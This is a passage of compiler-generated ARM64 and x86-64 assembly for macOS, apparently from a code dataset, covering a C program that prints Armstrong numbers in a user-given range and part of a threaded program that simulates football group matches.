stur w0, [x29, #-4]
stur w1, [x29, #-8]
ldur w8, [x29, #-4]
stur w8, [x29, #-12]
b LBB1_1
LBB1_1: ; =>This Loop Header: Depth=1
; Child Loop BB1_3 Depth 2
ldur w8, [x29, #-12]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB1_10
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldur s1, [x29, #-12]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
bl _log10
fcvtps w8, d0
stur w8, [x29, #-16]
str wzr, [sp, #24]
str wzr, [sp, #20]
b LBB1_3
LBB1_3: ; Parent Loop BB1_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #20]
ldur w9, [x29, #-16]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB1_6
b LBB1_4
LBB1_4: ; in Loop: Header=BB1_3 Depth=2
ldur s1, [x29, #-12]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
str d0, [sp, #8] ; 8-byte Folded Spill
ldr s1, [sp, #20]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d1, d0
fmov d0, #10.00000000
bl _pow
fmov d1, d0
ldr d0, [sp, #8] ; 8-byte Folded Reload
fdiv d0, d0, d1
fcvtzs w8, d0
mov w10, #10
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
stur w8, [x29, #-20]
ldur s1, [x29, #-20]
; implicit-def: $d0
fmov s0, s1
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
ldur s2, [x29, #-16]
; implicit-def: $d1
fmov s1, s2
sshll.2d v1, v1, #0
; kill: def $d1 killed $d1 killed $q1
scvtf d1, d1
bl _pow
fmov d1, d0
ldr s2, [sp, #24]
; implicit-def: $d0
fmov s0, s2
sshll.2d v0, v0, #0
; kill: def $d0 killed $d0 killed $q0
scvtf d0, d0
fadd d0, d0, d1
fcvtzs w8, d0
str w8, [sp, #24]
b LBB1_5
LBB1_5: ; in Loop: Header=BB1_3 Depth=2
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB1_3
LBB1_6: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #24]
ldur w9, [x29, #-12]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB1_8
b LBB1_7
LBB1_7: ; in Loop: Header=BB1_1 Depth=1
ldur w9, [x29, #-12]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
b LBB1_8
LBB1_8: ; in Loop: Header=BB1_1 Depth=1
b LBB1_9
LBB1_9: ; in Loop: Header=BB1_1 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB1_1
LBB1_10:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "b: "
l_.str.1: ; @.str.1
.asciz "%d"
l_.str.2: ; @.str.2
.asciz "c: "
l_.str.3: ; @.str.3
.asciz "Requirement: b <= c\n"
l_.str.4: ; @.str.4
.asciz "%d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl $0, -8(%rbp)
movl $0, -12(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -12(%rbp), %rsi
movb $0, %al
callq _scanf
movl -8(%rbp), %eax
cmpl -12(%rbp), %eax
jle LBB0_2
## %bb.1:
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -4(%rbp)
jmp LBB0_3
LBB0_2:
movl -8(%rbp), %edi
movl -12(%rbp), %esi
callq _armstrong
LBB0_3:
movl -4(%rbp), %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function armstrong
LCPI1_0:
.quad 0x4024000000000000 ## double 10
.section __TEXT,__text,regular,pure_instructions
.globl _armstrong
.p2align 4, 0x90
_armstrong: ## @armstrong
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl -4(%rbp), %eax
movl %eax, -12(%rbp)
LBB1_1: ## =>This Loop Header: Depth=1
## Child Loop BB1_3 Depth 2
movl -12(%rbp), %eax
cmpl -8(%rbp), %eax
jg LBB1_10
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
cvtsi2sdl -12(%rbp), %xmm0
callq _log10
roundsd $10, %xmm0, %xmm0
cvttsd2si %xmm0, %eax
movl %eax, -16(%rbp)
movl $0, -24(%rbp)
movl $0, -28(%rbp)
LBB1_3: ## Parent Loop BB1_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -28(%rbp), %eax
cmpl -16(%rbp), %eax
jg LBB1_6
## %bb.4: ## in Loop: Header=BB1_3 Depth=2
cvtsi2sdl -12(%rbp), %xmm0
movsd %xmm0, -40(%rbp) ## 8-byte Spill
cvtsi2sdl -28(%rbp), %xmm1
movsd LCPI1_0(%rip), %xmm0 ## xmm0 = mem[0],zero
callq _pow
movaps %xmm0, %xmm1
movsd -40(%rbp), %xmm0 ## 8-byte Reload
## xmm0 = mem[0],zero
divsd %xmm1, %xmm0
cvttsd2si %xmm0, %eax
movl $10, %ecx
cltd
idivl %ecx
movl %edx, -20(%rbp)
cvtsi2sdl -20(%rbp), %xmm0
cvtsi2sdl -16(%rbp), %xmm1
callq _pow
movaps %xmm0, %xmm1
cvtsi2sdl -24(%rbp), %xmm0
addsd %xmm1, %xmm0
cvttsd2si %xmm0, %eax
movl %eax, -24(%rbp)
## %bb.5: ## in Loop: Header=BB1_3 Depth=2
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB1_3
LBB1_6: ## in Loop: Header=BB1_1 Depth=1
movl -24(%rbp), %eax
cmpl -12(%rbp), %eax
jne LBB1_8
## %bb.7: ## in Loop: Header=BB1_1 Depth=1
movl -12(%rbp), %esi
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
LBB1_8: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_9
LBB1_9: ## in Loop: Header=BB1_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB1_1
LBB1_10:
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "b: "
L_.str.1: ## @.str.1
.asciz "%d"
L_.str.2: ## @.str.2
.asciz "c: "
L_.str.3: ## @.str.3
.asciz "Requirement: b <= c\n"
L_.str.4: ## @.str.4
.asciz "%d\n"
.subsections_via_symbols
| the_stack_data/76699391.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _print_tabla_grupo ; -- Begin function print_tabla_grupo
.p2align 2
_print_tabla_grupo: ; @print_tabla_grupo
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
str x1, [sp, #16]
str wzr, [sp, #12]
b LBB0_1
LBB0_1: ; =>This Loop Header: Depth=1
; Child Loop BB0_3 Depth 2
ldr w8, [sp, #12]
subs w8, w8, #4
cset w8, ge
tbnz w8, #0, LBB0_8
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldur x8, [x29, #-8]
ldrsw x9, [sp, #12]
ldr x8, [x8, x9, lsl #3]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.40@PAGE
add x0, x0, l_.str.40@PAGEOFF
bl _printf
str wzr, [sp, #8]
b LBB0_3
LBB0_3: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #8]
subs w8, w8, #8
cset w8, ge
tbnz w8, #0, LBB0_6
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=2
ldr x8, [sp, #16]
ldrsw x9, [sp, #12]
add x8, x8, x9, lsl #5
ldrsw x9, [sp, #8]
ldr w9, [x8, x9, lsl #2]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.41@PAGE
add x0, x0, l_.str.41@PAGEOFF
bl _printf
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_3 Depth=2
ldr w8, [sp, #8]
add w8, w8, #1
str w8, [sp, #8]
b LBB0_3
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
adrp x0, l_.str.42@PAGE
add x0, x0, l_.str.42@PAGEOFF
bl _printf
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB0_1
LBB0_8:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _llenar_tabla ; -- Begin function llenar_tabla
.p2align 2
_llenar_tabla: ; @llenar_tabla
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #24]
str w1, [sp, #20]
str w2, [sp, #16]
str w3, [sp, #12]
str w4, [sp, #8]
ldr x8, [sp, #24]
ldrsw x9, [sp, #20]
add x8, x8, x9, lsl #5
ldr w8, [x8, #4]
add w8, w8, #1
ldr x9, [sp, #24]
ldrsw x10, [sp, #20]
add x9, x9, x10, lsl #5
str w8, [x9, #4]
ldr x8, [sp, #24]
ldrsw x9, [sp, #16]
add x8, x8, x9, lsl #5
ldr w8, [x8, #4]
add w8, w8, #1
ldr x9, [sp, #24]
ldrsw x10, [sp, #16]
add x9, x9, x10, lsl #5
str w8, [x9, #4]
ldr w8, [sp, #12]
ldr w9, [sp, #8]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
ldr x8, [sp, #24]
ldrsw x9, [sp, #20]
lsl x9, x9, #5
ldr w8, [x8, x9]
add w8, w8, #3
ldr x9, [sp, #24]
ldrsw x10, [sp, #20]
lsl x10, x10, #5
str w8, [x9, x10]
ldr x8, [sp, #24]
ldrsw x9, [sp, #20]
add x8, x8, x9, lsl #5
ldr w8, [x8, #8]
add w8, w8, #1
ldr x9, [sp, #24]
ldrsw x10, [sp, #20]
add x9, x9, x10, lsl #5
str w8, [x9, #8]
ldr x8, [sp, #24]
ldrsw x9, [sp, #16]
add x8, x8, x9, lsl #5
ldr w8, [x8, #16]
add w8, w8, #1
ldr x9, [sp, #24]
ldrsw x10, [sp, #16]
add x9, x9, x10, lsl #5
str w8, [x9, #16]
b LBB1_6
LBB1_2:
ldr w8, [sp, #12]
ldr w9, [sp, #8]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB1_4
b LBB1_3
LBB1_3:
ldr x8, [sp, #24]
ldrsw x9, [sp, #20]
lsl x9, x9, #5
ldr w8, [x8, x9]
add w8, w8, #1
ldr x9, [sp, #24]
ldrsw x10, [sp, #20]
lsl x10, x10, #5
str w8, [x9, x10]
ldr x8, [sp, #24]
ldrsw x9, [sp, #16]
lsl x9, x9, #5
ldr w8, [x8, x9]
add w8, w8, #1
ldr x9, [sp, #24]
ldrsw x10, [sp, #16]
lsl x10, x10, #5
str w8, [x9, x10]
ldr x8, [sp, #24]
ldrsw x9, [sp, #20]
add x8, x8, x9, lsl #5
ldr w8, [x8, #12]
add w8, w8, #1
ldr x9, [sp, #24]
ldrsw x10, [sp, #20]
add x9, x9, x10, lsl #5
str w8, [x9, #12]
ldr x8, [sp, #24]
ldrsw x9, [sp, #16]
add x8, x8, x9, lsl #5
ldr w8, [x8, #12]
add w8, w8, #1
ldr x9, [sp, #24]
ldrsw x10, [sp, #16]
add x9, x9, x10, lsl #5
str w8, [x9, #12]
b LBB1_5
LBB1_4:
ldr x8, [sp, #24]
ldrsw x9, [sp, #16]
lsl x9, x9, #5
ldr w8, [x8, x9]
add w8, w8, #3
ldr x9, [sp, #24]
ldrsw x10, [sp, #16]
lsl x10, x10, #5
str w8, [x9, x10]
ldr x8, [sp, #24]
ldrsw x9, [sp, #16]
add x8, x8, x9, lsl #5
ldr w8, [x8, #8]
add w8, w8, #1
ldr x9, [sp, #24]
ldrsw x10, [sp, #16]
add x9, x9, x10, lsl #5
str w8, [x9, #8]
ldr x8, [sp, #24]
ldrsw x9, [sp, #20]
add x8, x8, x9, lsl #5
ldr w8, [x8, #16]
add w8, w8, #1
ldr x9, [sp, #24]
ldrsw x10, [sp, #20]
add x9, x9, x10, lsl #5
str w8, [x9, #16]
b LBB1_5
LBB1_5:
b LBB1_6
LBB1_6:
ldr x8, [sp, #24]
ldrsw x9, [sp, #20]
add x8, x8, x9, lsl #5
ldr w8, [x8, #20]
ldr w9, [sp, #12]
add w8, w8, w9
ldr x9, [sp, #24]
ldrsw x10, [sp, #20]
add x9, x9, x10, lsl #5
str w8, [x9, #20]
ldr x8, [sp, #24]
ldrsw x9, [sp, #16]
add x8, x8, x9, lsl #5
ldr w8, [x8, #20]
ldr w9, [sp, #8]
add w8, w8, w9
ldr x9, [sp, #24]
ldrsw x10, [sp, #16]
add x9, x9, x10, lsl #5
str w8, [x9, #20]
ldr x8, [sp, #24]
ldrsw x9, [sp, #20]
add x8, x8, x9, lsl #5
ldr w8, [x8, #24]
ldr w9, [sp, #8]
add w8, w8, w9
ldr x9, [sp, #24]
ldrsw x10, [sp, #20]
add x9, x9, x10, lsl #5
str w8, [x9, #24]
ldr x8, [sp, #24]
ldrsw x9, [sp, #16]
add x8, x8, x9, lsl #5
ldr w8, [x8, #24]
ldr w9, [sp, #12]
add w8, w8, w9
ldr x9, [sp, #24]
ldrsw x10, [sp, #16]
add x9, x9, x10, lsl #5
str w8, [x9, #24]
ldr x8, [sp, #24]
ldrsw x9, [sp, #20]
add x8, x8, x9, lsl #5
str wzr, [x8, #28]
ldr x8, [sp, #24]
ldrsw x9, [sp, #16]
add x8, x8, x9, lsl #5
str wzr, [x8, #28]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _jugar_partido ; -- Begin function jugar_partido
.p2align 2
_jugar_partido: ; @jugar_partido
.cfi_startproc
; %bb.0:
sub sp, sp, #128
.cfi_def_cfa_offset 128
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
stur w1, [x29, #-8]
stur w2, [x29, #-12]
stur x3, [x29, #-24]
stur x4, [x29, #-32]
stur x5, [x29, #-40]
ldur x8, [x29, #-24]
ldursw x9, [x29, #-4]
ldr x8, [x8, x9, lsl #3]
stur x8, [x29, #-48]
ldur x8, [x29, #-24]
ldursw x9, [x29, #-8]
ldr x8, [x8, x9, lsl #3]
str x8, [sp, #56]
mov w8, #1
str w8, [sp, #44]
str w8, [sp, #40]
str wzr, [sp, #36]
ldur x8, [x29, #-40]
ldursw x9, [x29, #-4]
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB2_2
b LBB2_1
LBB2_1:
mov w8, #7
str w8, [sp, #44]
mov w8, #3
str w8, [sp, #36]
b LBB2_2
LBB2_2:
ldur x8, [x29, #-40]
ldursw x9, [x29, #-8]
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB2_4
b LBB2_3
LBB2_3:
mov w8, #7
str w8, [sp, #40]
mov w8, #3
str w8, [sp, #36]
b LBB2_4
LBB2_4:
bl _rand
ldr w9, [sp, #44]
sdiv w8, w0, w9
mul w8, w8, w9
subs w8, w0, w8
ldr w9, [sp, #36]
add w8, w8, w9
str w8, [sp, #52]
bl _rand
ldr w9, [sp, #40]
sdiv w8, w0, w9
mul w8, w8, w9
subs w8, w0, w8
ldr w9, [sp, #36]
add w8, w8, w9
str w8, [sp, #48]
ldur x12, [x29, #-48]
ldr w8, [sp, #52]
; implicit-def: $x11
mov x11, x8
ldr x10, [sp, #56]
ldr w9, [sp, #48]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x12, [x9]
str x11, [x9, #8]
str x10, [x9, #16]
str x8, [x9, #24]
adrp x0, l_.str.43@PAGE
add x0, x0, l_.str.43@PAGEOFF
bl _printf
ldur w8, [x29, #-12]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB2_6
b LBB2_5
LBB2_5:
ldur x0, [x29, #-32]
ldur w1, [x29, #-4]
ldur w2, [x29, #-8]
ldr w3, [sp, #52]
ldr w4, [sp, #48]
bl _llenar_tabla
b LBB2_7
LBB2_6:
adrp x0, l_.str.44@PAGE
add x0, x0, l_.str.44@PAGEOFF
bl _printf
b LBB2_7
LBB2_7:
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
add sp, sp, #128
ret
.cfi_endproc
; -- End function
.globl _jugar_grupo_A ; -- Begin function jugar_grupo_A
.p2align 2
_jugar_grupo_A: ; @jugar_grupo_A
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
mov w2, #0
str w2, [sp, #12] ; 4-byte Folded Spill
mov x0, x2
mov w1, #1
str w1, [sp, #4] ; 4-byte Folded Spill
adrp x3, _grupo_A@PAGE
add x3, x3, _grupo_A@PAGEOFF
str x3, [sp, #16] ; 8-byte Folded Spill
adrp x4, _grupo_A_puntos@PAGE
add x4, x4, _grupo_A_puntos@PAGEOFF
str x4, [sp, #24] ; 8-byte Folded Spill
adrp x5, _grupo_A_favoritos@PAGE
add x5, x5, _grupo_A_favoritos@PAGEOFF
stur x5, [x29, #-16] ; 8-byte Folded Spill
bl _jugar_partido
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov x0, x2
mov w1, #2
str w1, [sp] ; 4-byte Folded Spill
bl _jugar_partido
ldr w0, [sp] ; 4-byte Folded Reload
ldr w1, [sp, #4] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
bl _jugar_partido
ldr w0, [sp] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov w1, #3
str w1, [sp, #8] ; 4-byte Folded Spill
bl _jugar_partido
ldr w1, [sp, #4] ; 4-byte Folded Reload
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
bl _jugar_partido
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov x1, x2
bl _jugar_partido
adrp x0, _sem_grupos@GOTPAGE
ldr x0, [x0, _sem_grupos@GOTPAGEOFF]
bl _sem_post
mov x0, #0
bl _pthread_exit
.cfi_endproc
; -- End function
.globl _jugar_grupo_B ; -- Begin function jugar_grupo_B
.p2align 2
_jugar_grupo_B: ; @jugar_grupo_B
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
mov w2, #0
str w2, [sp, #12] ; 4-byte Folded Spill
mov x0, x2
mov w1, #1
str w1, [sp, #4] ; 4-byte Folded Spill
adrp x3, _grupo_B@PAGE
add x3, x3, _grupo_B@PAGEOFF
str x3, [sp, #16] ; 8-byte Folded Spill
adrp x4, _grupo_B_puntos@PAGE
add x4, x4, _grupo_B_puntos@PAGEOFF
str x4, [sp, #24] ; 8-byte Folded Spill
adrp x5, _grupo_B_favoritos@PAGE
add x5, x5, _grupo_B_favoritos@PAGEOFF
stur x5, [x29, #-16] ; 8-byte Folded Spill
bl _jugar_partido
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov x0, x2
mov w1, #2
str w1, [sp] ; 4-byte Folded Spill
bl _jugar_partido
ldr w0, [sp] ; 4-byte Folded Reload
ldr w1, [sp, #4] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
bl _jugar_partido
ldr w0, [sp] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov w1, #3
str w1, [sp, #8] ; 4-byte Folded Spill
bl _jugar_partido
ldr w1, [sp, #4] ; 4-byte Folded Reload
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
bl _jugar_partido
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov x1, x2
bl _jugar_partido
adrp x0, _sem_grupos@GOTPAGE
ldr x0, [x0, _sem_grupos@GOTPAGEOFF]
bl _sem_post
mov x0, #0
bl _pthread_exit
.cfi_endproc
; -- End function
.globl _jugar_grupo_C ; -- Begin function jugar_grupo_C
.p2align 2
_jugar_grupo_C: ; @jugar_grupo_C
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
mov w2, #0
str w2, [sp, #12] ; 4-byte Folded Spill
mov x0, x2
mov w1, #1
str w1, [sp, #4] ; 4-byte Folded Spill
adrp x3, _grupo_C@PAGE
add x3, x3, _grupo_C@PAGEOFF
str x3, [sp, #16] ; 8-byte Folded Spill
adrp x4, _grupo_C_puntos@PAGE
add x4, x4, _grupo_C_puntos@PAGEOFF
str x4, [sp, #24] ; 8-byte Folded Spill
adrp x5, _grupo_C_favoritos@PAGE
add x5, x5, _grupo_C_favoritos@PAGEOFF
stur x5, [x29, #-16] ; 8-byte Folded Spill
bl _jugar_partido
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov x0, x2
mov w1, #2
str w1, [sp] ; 4-byte Folded Spill
bl _jugar_partido
ldr w0, [sp] ; 4-byte Folded Reload
ldr w1, [sp, #4] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
bl _jugar_partido
ldr w0, [sp] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov w1, #3
str w1, [sp, #8] ; 4-byte Folded Spill
bl _jugar_partido
ldr w1, [sp, #4] ; 4-byte Folded Reload
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
bl _jugar_partido
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov x1, x2
bl _jugar_partido
adrp x0, _sem_grupos@GOTPAGE
ldr x0, [x0, _sem_grupos@GOTPAGEOFF]
bl _sem_post
mov x0, #0
bl _pthread_exit
.cfi_endproc
; -- End function
.globl _jugar_grupo_D ; -- Begin function jugar_grupo_D
.p2align 2
_jugar_grupo_D: ; @jugar_grupo_D
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
mov w2, #0
str w2, [sp, #12] ; 4-byte Folded Spill
mov x0, x2
mov w1, #1
str w1, [sp, #4] ; 4-byte Folded Spill
adrp x3, _grupo_D@PAGE
add x3, x3, _grupo_D@PAGEOFF
str x3, [sp, #16] ; 8-byte Folded Spill
adrp x4, _grupo_D_puntos@PAGE
add x4, x4, _grupo_D_puntos@PAGEOFF
str x4, [sp, #24] ; 8-byte Folded Spill
adrp x5, _grupo_D_favoritos@PAGE
add x5, x5, _grupo_D_favoritos@PAGEOFF
stur x5, [x29, #-16] ; 8-byte Folded Spill
bl _jugar_partido
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov x0, x2
mov w1, #2
str w1, [sp] ; 4-byte Folded Spill
bl _jugar_partido
ldr w0, [sp] ; 4-byte Folded Reload
ldr w1, [sp, #4] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
bl _jugar_partido
ldr w0, [sp] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov w1, #3
str w1, [sp, #8] ; 4-byte Folded Spill
bl _jugar_partido
ldr w1, [sp, #4] ; 4-byte Folded Reload
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
bl _jugar_partido
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldr w2, [sp, #12] ; 4-byte Folded Reload
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x4, [sp, #24] ; 8-byte Folded Reload
ldur x5, [x29, #-16] ; 8-byte Folded Reload
mov x1, x2
bl _jugar_partido
adrp x0, _sem_grupos@GOTPAGE
ldr x0, [x0, _sem_grupos@GOTPAGEOFF]
bl _sem_post
mov x0, #0
bl _pthread_exit
.cfi_endproc
; -- End function
.globl _jugar_grupo_E ; -- Begin function jugar_grupo_E
.p2align 2
_jugar_grupo_E: ; @jugar_grupo_E
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
mov w2, #0
str w2, [sp, #12] ; 4-byte Folded Spill
mov x0, x2
mov w1, #1
